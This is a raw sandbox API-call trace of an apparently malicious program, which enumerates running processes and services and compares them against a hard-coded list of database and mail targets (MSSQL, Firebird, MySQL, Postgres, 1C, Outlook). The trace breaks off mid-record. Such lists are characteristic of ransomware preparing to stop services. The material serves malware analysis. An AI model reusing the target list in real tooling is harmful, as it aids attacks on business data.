lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.571] lstrlenW (lpString="explorer.exe") returned 12 [0270.571] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.572] lstrlenW (lpString="spoolsv.exe") returned 11 [0270.572] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0270.572] lstrlenW (lpString="taskhost.exe") returned 12 [0270.572] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.572] lstrlenW (lpString="svchost.exe") returned 11 [0270.572] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0270.572] lstrlenW (lpString="payload2.exe") returned 12 [0270.573] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0270.573] lstrlenW (lpString="reader_sl.exe") returned 13 [0270.573] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.573] lstrlenW (lpString="dllhost.exe") returned 11 [0270.573] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0270.573] CloseHandle (hObject=0x304) returned 1 [0270.573] Sleep (dwMilliseconds=0x1f4) [0271.198] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ac8 [0271.199] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 0 [0271.200] GetLastError () returned 0xea [0271.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc9a) returned 0x42c41c0 [0271.200] EnumServicesStatusExW (in: hSCManager=0x4280ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42c41c0, cbBufSize=0xc9a, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42c41c0, pcbBytesNeeded=0x207ff44, lpServicesReturned=0x207ff5c, lpResumeHandle=0x0) returned 1 [0271.201] CloseServiceHandle (hSCObject=0x4280ac8) returned 1 [0271.201] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.201] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.201] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.201] lstrlenW (lpString="AudioSrv") returned 8 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0271.202] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0271.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0271.202] lstrlenW (lpString="BFE") returned 3 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.202] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.202] lstrlenW (lpString="CryptSvc") returned 8 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.202] lstrlenW (lpString="CscService") returned 10 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0271.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0271.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0271.202] lstrlenW (lpString="DcomLaunch") returned 10 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.202] lstrlenW (lpString="Dhcp") returned 4 [0271.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.203] lstrlenW (lpString="Dnscache") returned 8 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.203] lstrlenW (lpString="DPS") returned 3 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.203] lstrlenW (lpString="eventlog") returned 8 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0271.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0271.203] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0271.203] lstrlenW (lpString="EventSystem") returned 11 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.203] lstrlenW (lpString="gpsvc") returned 5 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.203] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.203] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.203] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.204] lstrlenW (lpString="lmhosts") returned 7 [0271.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.204] lstrlenW (lpString="MMCSS") returned 5 [0271.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0271.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0271.204] lstrlenW (lpString="MpsSvc") returned 6 [0271.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.204] lstrlenW (lpString="NlaSvc") returned 6 [0271.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.204] lstrlenW (lpString="nsi") returned 3 [0271.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.204] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.204] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.205] lstrlenW (lpString="PcaSvc") returned 6 [0271.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.205] lstrlenW (lpString="PlugPlay") returned 8 [0271.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.205] lstrlenW (lpString="Power") returned 5 [0271.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.205] lstrlenW (lpString="ProfSvc") returned 7 [0271.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.205] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.205] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.206] lstrlenW (lpString="RpcSs") returned 5 [0271.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.206] lstrlenW (lpString="SamSs") returned 5 [0271.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.206] lstrlenW (lpString="Schedule") returned 8 [0271.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.206] lstrlenW (lpString="SENS") returned 4 [0271.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.206] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.207] lstrlenW (lpString="Spooler") returned 7 [0271.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.207] lstrlenW (lpString="Themes") returned 6 [0271.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0271.207] lstrlenW (lpString="UxSms") returned 5 [0271.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0271.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0271.207] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0271.207] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0271.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0271.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x42c41c0 | out: hHeap=0x2a0000) returned 1 [0271.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0271.208] Process32FirstW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.209] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.209] lstrlenW (lpString="System") returned 6 [0271.209] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0271.209] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0271.210] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.210] lstrlenW (lpString="smss.exe") returned 8 [0271.210] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0271.210] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.210] lstrlenW (lpString="csrss.exe") returned 9 [0271.210] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.210] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.210] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.210] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.210] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.210] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0271.210] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.211] lstrlenW (lpString="wininit.exe") returned 11 [0271.211] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0271.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0271.211] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.211] lstrlenW (lpString="csrss.exe") returned 9 [0271.211] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.211] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.211] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0271.211] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.212] lstrlenW (lpString="winlogon.exe") returned 12 [0271.212] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0271.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0271.212] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.212] lstrlenW (lpString="services.exe") returned 12 [0271.212] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0271.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0271.212] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.213] lstrlenW (lpString="lsass.exe") returned 9 [0271.213] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0271.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0271.213] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0271.213] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0271.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0271.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0271.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0271.213] Process32NextW (in: hSnapshot=0x390, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 